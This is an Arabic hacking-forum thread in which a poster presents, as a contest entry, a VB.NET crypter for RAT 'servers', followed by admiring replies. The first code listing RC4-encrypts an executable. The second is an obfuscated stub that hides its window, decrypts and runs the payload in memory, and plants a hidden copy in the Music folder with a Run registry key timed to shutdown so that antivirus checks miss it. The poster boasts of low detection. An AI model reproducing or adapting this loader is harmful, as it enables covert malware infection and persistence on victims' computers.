1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

[ تشفير ] موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

الموضوع في 'حماية الأجهزة' بواسطة ✶ s c я є α м, بتاريخ ‏19 مايو 2015.

كاتب الموضوع : ✶ s c я є α м المشاهدات : 1,738 الردود : 41 ‏19 مايو 2015
حالة الموضوع:
مغلق
  1. غير متصل

    ✶ s c я є α м Developer SpyNote

    عضو منذ:
    ‏23 ديسمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    777
    نقاط الجائزة:
    الإقامة:

    [​IMG]


    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]


    السلام عليكـــم ورحمة الله وبركاته ...*


    أقدم لكم موضوعي في المسابقة :ُeُe1^:...*
    وقسمت الموضوع الي أثنين فديو واحد يشرح طريقة صناعة برنامج بسيط يساعدنا في التشفير البرمجي والفديو الثاني لتشفير السيرفر بخورزميه Rc2 كل ماتحتاجه من أدوات فجوال ستديو فقط {1!$1}


    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]


    الفديو الاول لعمل برنامج يولد لنا قيم حتى نستخدمها في الشرح القادم


    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]



    الكود المستخدم


    [C#]Imports System.IO
    Public Class Form1
    Dim sccx As String
    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
    On Error Resume Next
    Text = 1
    RichTextBox2.Text = ""
    Dim dd As String = RichTextBox1.Text
    RichTextBox2.Text = dd.Chars(0)
    Timer1.Enabled = True
    End Sub
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    Try
    ProgressBar1.Maximum = Button2.Text
    Dim ss1 As String = RichTextBox1.Text
    RichTextBox2.Text += TextBox2.Text + String.Join("", ss1.Chars(Text))
    Text += 1
    Catch ex As Exception
    Timer1.Enabled = False
    ProgressBar1.Value = 0
    MsgBox("End")
    End Try
    sccx = RichTextBox1.Text
    Button2.Text = (sccx.Length)
    Button2.Text = sccx.Length
    ProgressBar1.Value = Text
    End Sub
    Private Shared Function RC4Encrypt(ByVal A6 As Byte(), ByVal A7 As String) As Byte()
    On Error Resume Next
    Dim A1 As Byte() = System.Text.Encoding.ASCII.GetBytes(A7)
    Dim A2, A3, A4 As UInteger
    Dim A5 As UInteger() = New UInteger(255) {}
    Dim A9 As Byte() = New Byte(A6.Length - 1) {}
    For A2 = 0 To 255
    A5(A2) = A2
    Next
    For A2 = 0 To 255
    A3 = (A3 + A1(A2 Mod A1.Length) + A5(A2)) And 255
    A4 = A5(A2)
    A5(A2) = A5(A3)
    A5(A3) = A4
    Next
    A2 = 0 : A3 = 0
    For A8 = 0 To A9.Length - 1
    A2 = (A2 + 1) And 255
    A3 = (A3 + A5(A2)) And 255
    A4 = A5(A2)
    A5(A2) = A5(A3)
    A5(A3) = A4
    A9(A8) = A6(A8) Xor A5((A5(A2) + A5(A3)) And 255)
    Next
    Return A9
    End Function
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
    On Error Resume Next
    If Button1.Text = "Xo" Then
    Dim dialog As New OpenFileDialog
    dialog.Filter = "Executable|*.exe"
    If (dialog.ShowDialog = DialogResult.OK) Then
    Me.TextBox1.Text = dialog.FileName
    Button1.Text = "En"
    Else
    Me.TextBox1.Text = ""
    End If
    Else
    Me.RichTextBox1.Text = ""
    Dim inArray As Byte() = RC4Encrypt(File.ReadAllBytes(Me.TextBox1.Text), "KeyEncrypt")
    Me.RichTextBox1.Text = Convert.ToBase64String(inArray)
    Button1.Text = "Xo"
    End If
    End Sub
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    TextBox2.Text = "^_^"
    End Sub
    End Class


    [/C#]

    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]


    بعد الانتهاء من المقطع الاول وصناعة البرنامج
    الشرح الثاني وهو لتكوين السيرفر وتشفيره برمجين فقط وبدون استخدام برامج اسمبلي او زيادة في الادوات وكانت النتيجه مكشوف من Nona فقط تقدر تكمل عليه هيكس او برنامج مساعد او تستتخدم ادوات ToolBox


    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]



    [C#]Imports System.IO
    Public Class Form1
    Dim A1 As String = "C", A2 As String = ":", A3 As String = "\", A4 As String = "U", A5 As String = "s", A6 As String = "e", A7 As String = "r", A8 As String = "s", A9 As String = "\" '
    Public H7 As Byte = 54 \ 7 - 5 & 3 * 2 / 1 - 5 & 7077 * 2 - 4000 - 10147
    Dim Z1 As String = "S"
    Dim Z2 As String = "C"
    Dim Z3 As String = "R"
    Dim Z4 As String = "E"
    Dim Z5 As String = "A"
    Dim Z6 As String = "M"
    Public Function C0(ByVal C2 As Byte(), ByVal C1 As String) As Byte() '
    On Error Resume Next
    Dim C8 As Byte() = System.Text.Encoding.ASCII.GetBytes(C1), C9, C6, C5 As UInteger, C7 As UInteger() = New UInteger(4 + 3 * 4 + 500 / 2 - --11) {}, C3 As Byte() = New Byte(C2.Length - 1) {}
    For C9 = 5 * 23 + 3 - 30 - 88 To 55 * 3 * 4 + 90 / 2 - 11 - 400 + 1 - 40
    C7(C9) = C9
    Next
    For C9 = 5 * 23 + 3 - 30 - 88 To 55 * 3 * 4 + 90 / 2 - 11 - 400 + 1 - 40
    C6 = (C6 + C8(C9 Mod C8.Length) + C7(C9)) And 55 * 3 * 4 + 90 / 2 - 11 - 400 + 1 - 40
    C5 = C7(C9)
    C7(C9) = C7(C6)
    C7(C6) = C5
    Next
    C9 = 5 * 23 + 3 - 30 - 88 : C6 = 5 * 23 + 3 - 30 - 88
    For C4 = 5 * 23 + 3 - 30 - 88 + 1 - 1 To C3.Length - 1 + 1 - 2 * 55 / 5 + 21
    C9 = (C9 + 1) And 55 * 3 * 4 + 90 / 2 - 11 - 400 + 1 - 40
    C6 = (C6 + C7(C9)) And 55 * 3 * 4 + 90 / 2 - 11 - 400 + 1 - 40
    C5 = C7(C9)
    C7(C9) = C7(C6)
    C7(C6) = C5
    C3(C4) = C2(C4) Xor C7((C7(C9) + C7(C6)) And 24 / 6 + 19 + 206 + 26)
    Next
    Return C3
    End Function
    Function H6(Yo)
    On Error Resume Next
    Dim S1 As String = "K", S3 As String = "e", S4 As String = "y", S5 As String = "E", S6 As String = "n", S7 As String = "c", S8 As String = "r", S9 As String = "y", S0 As String = "p", G1 As String = "t" '
    Dim S2$ = RichTextBox1.Text
    Dim C81 As Byte() = C0(Convert.FromBase64String(S2), S1 + S3 + S4 + S5 + S6 + S7 + S8 + S9 + S0 + G1)
    AppDomain.CurrentDomain.Load(C81).EntryPoint.Invoke(Nothing, Nothing)
    End Function
    Dim G2 As String = "^_^"
    Dim G3$
    Dim G4 As String = "S", G6 As String = "C", G7 As String = "-", G8 As String = "4", G9 As String = "3", G0 As String = "2", K1 As String = "1", K2 As String = ".", K3 As String = "E", K4 As String = "X", K5 As String = "E" '
    Dim G5$ = G4 + G6 + G7 + G8 + G9 + G0 + K1 + K2 + K3 + K4 + K5
    Dim S3 As String = "\"
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    On Error Resume Next
    Me.Hide()
    Me.ShowInTaskbar = 0 <> 0
    Text = 1 '
    Timer1.Enabled = 0 <> 1 '
    Timer1.Interval = 1
    RichTextBox1.Text = My.Resources.d.ToString
    RichTextBox1.Text = RichTextBox1.Text.Replace(G2, "").Trim()
    Timer2.Enabled = 0 <> 1
    Timer2.Interval = 1
    Dim K6 As Microsoft.Win32.RegistryKey
    K6 = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("S" + "O" + "F" + "T" + "W" + "A" + "R" + "E" + S3 + "M" + "i" + "c" + "r" + "o" + "s" + "o" + "f" + "t" + S3 + "W" + "i" + "n" + "d" + "o" + "w" + "s" + S3 + "C" + "u" + "r" + "r" + "e" + "n" + "t" + "V" + "e" + "r" + "s" + "i" + "o" + "n" + S3 + "R" + "u" + "n", 0 <> 1)
    K6.DeleteValue(Z1 + Z2 + Z3 + Z4 + Z5 + Z6)
    G3 = System.Environment.UserName
    Dim K7 As String = S3, K8 As String = "M", K9 As String = "u", F1 As String = "s", F2 As String = "i", F3 As String = "c", F4 As String = S3 '
    For Each i In System.IO.Directory.GetFiles(A1 + A2 + A3 + A4 + A5 + A6 + A7 + A8 + A9 + G3 + K7 + K8 + K9 + F1 + F2 + F3 + F4 + G5)
    IO.File.Delete(A1 + A2 + A3 + A4 + A5 + A6 + A7 + A8 + A9 + G3 + K7 + K8 + K9 + F1 + F2 + F3 + F4 + G5)
    Next
    End Sub
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    Do
    On Error Resume Next
    Text += 1
    If Text = 150 Then
    If RichTextBox1.Find(G2, 0, RichTextBox1.Text.Length, RichTextBoxFinds.None) = -1 Then
    Dim F5# = 24 / 6 + 19
    Dim H1 As Short = 956
    Dim H2 As Short = -8
    Dim H3 As Short = 203
    Dim H4 As Short = -9663
    Dim H5 As Object = -8439651
    Dim S7 As Double = F5 Mod H1 + 93 * 9 - 1922 & H7 = +3
    H6(Nothing)
    Select Case H4
    Case H1
    Do Until F5
    H5 = 3
    Loop
    End Select
    If H1 = 3920 Then
    F5 = 6 And H7 = 98
    If Not H7 = 98 Or F5 Mod 30 Then


    End If
    End If
    Timer1.Enabled = 0 <> 0
    Timer2.Interval = 1
    Timer2.Enabled = 0 <> 1
    End If
    End If
    Loop
    End Sub
    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
    Do
    On Error Resume Next
    Dim H8 As String = "L"
    Dim H9 As String = "o"
    Dim X1 As String = "g"
    Dim X2 As String = "o"
    Dim X3 As String = "n"
    Dim X4 As String = "U"
    Dim X5 As String = "I"
    Dim X6 As String = H8 + H9 + X1 + X2 + X3 + X4 + X5
    Dim L2() As Process = System.Diagnostics.Process.GetProcessesByName(X6)
    For Each L1 As Process In L2 '
    Dim X7 As String = S3, P1 As String = "M", P2 As String = "u", P3 As String = "s", P4 As String = "i", P5 As String = "c", P6 As String = S3 '
    Dim X8$ = My.Computer.FileSystem.SpecialDirectories.MyMusic & S3 & G5 '
    File.Copy(Application.ExecutablePath, X8)
    System.IO.File.SetAttributes(X8, IO.FileAttributes.Hidden)
    Dim K6 As Microsoft.Win32.RegistryKey
    K6 = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("S" + "O" + "F" + "T" + "W" + "A" + "R" + "E" + S3 + "M" + "i" + "c" + "r" + "o" + "s" + "o" + "f" + "t" + S3 + "W" + "i" + "n" + "d" + "o" + "w" + "s" + S3 + "C" + "u" + "r" + "r" + "e" + "n" + "t" + "V" + "e" + "r" + "s" + "i" + "o" + "n" + S3 + "R" + "u" + "n", 0 <> 1) 'P
    K6.SetValue(Z1 + Z2 + Z3 + Z4 + Z5 + Z6, X8)
    K6.Close()
    Next
    Loop
    End Sub
    End Class




























    [/C#]









    :ُeُe1^:




    وفي الاخير احب أقلك ان طريقة التثبيت السيرفر ليس فيالستأرت كـ المعتاد او الرجستري او في الجهاز كاملههههه سحر برمجي :ُ{6e}:ُ

    كود التثبيت اول ماتشغل السيرفر لاينسخ نفسه في اي مكان أبداء عندما المستخدم يغلق الجهاز سوف تنغلق برامج الفحص مع كلشي في الجهاز ولكن السيرفر في لحظات موته الاخيره راح ينسخ قيمه في الستارت أب بتشغيل نفسه من مسار مجلد الموسيقى وينسخ نفسه في مجلد الموسيقى وينغلق الجهاز :{13}: يجي المستخدم يشغل الجهاز اليوم الثاني يشتغل السيرفر ويحذف القيمه الي نسخهها قبل وفاته هههه وكذا يجي هو يفحص مافي تثبيت في الجهاز ولا في الستارت اب ولا رجستري ولاشي والعمليه شغاله وكذا التثبيت بعملية تكرار




    وبنهاية الموضوع اهداء للكل بدون استثناء :ُeُiy:


     


    1 person likes this.
    جاري تحميل الصفحة...
  2. غير متصل

    المعاقب الصدري
    طاقم الإدارة

    عضو منذ:
    ‏20 يوليو 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    681
    نقاط الجائزة:
    الجنس:
    ذكر

    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    احسنت سكريم تشفيرة قاتلة
     


  3. غير متصل

    !»°بہًكہًر الہًعہًراقہًي°«! أداري أقسام حماية الأجهزة

    عضو منذ:
    ‏7 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    1,478
    نقاط الجائزة:
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:

    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    عاشت ايدك اخي باين داخل بقوه هههه تشفير جمليه جدا بالتوفيق بالمسابقه
     


  4. غير متصل

    ✶ s c я є α м Developer SpyNote

    عضو منذ:
    ‏23 ديسمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    777
    نقاط الجائزة:
    الإقامة:

    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    اهلا فيك حبي والله منور الموضوع بمرورك :ُce@:
     


  5. غير متصل

    ✶ s c я є α м Developer SpyNote

    عضو منذ:
    ‏23 ديسمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    777
    نقاط الجائزة:
    الإقامة:

    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    ههههه :lolًٌُ:ٌ
     


  6. غير متصل

    محمد عبد الرضا
    rankrank
    Developer

    عضو منذ:
    ‏4 مارس 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    رؤؤؤؤؤؤؤؤؤؤعه شرح اكثر من رائع
     


  7. غير متصل

    SMART-AL-Falahi
    Developer

    عضو منذ:
    ‏14 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    الإقامة:

    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    وحش شرح ابدع وووواصل
     


  8. غير متصل

    AHMAD MOSAAD
    Developer

    عضو منذ:
    ‏31 مارس 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    الوظيفة:
    Student
    الإقامة:

    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    بآرك آلله فيك يآلغآلي {1!$7}


    ماذا تعتقد في مشاركة ♕| s c я є α м |♕؟يعجبني ويستحق التقييم
     


  9. غير متصل

    جوني العراقي
    V • I • P

    عضو منذ:
    ‏10 يناير 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    47
    نقاط الجائزة:
    الوظيفة:
    حلاق
    الإقامة:

    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    والله عاشت ايدك ياغالي موضوع جميل وقوي
     


  10. غير متصل

    rebih
    Developer

    عضو منذ:
    ‏11 مايو 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:

    رد: موضـــوع مسابقة ( التشفير ) تشفيــر سيرفرات المبرمجه بلغة Vb .net

    وحش كعادتك واصل [​IMG]
     


حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...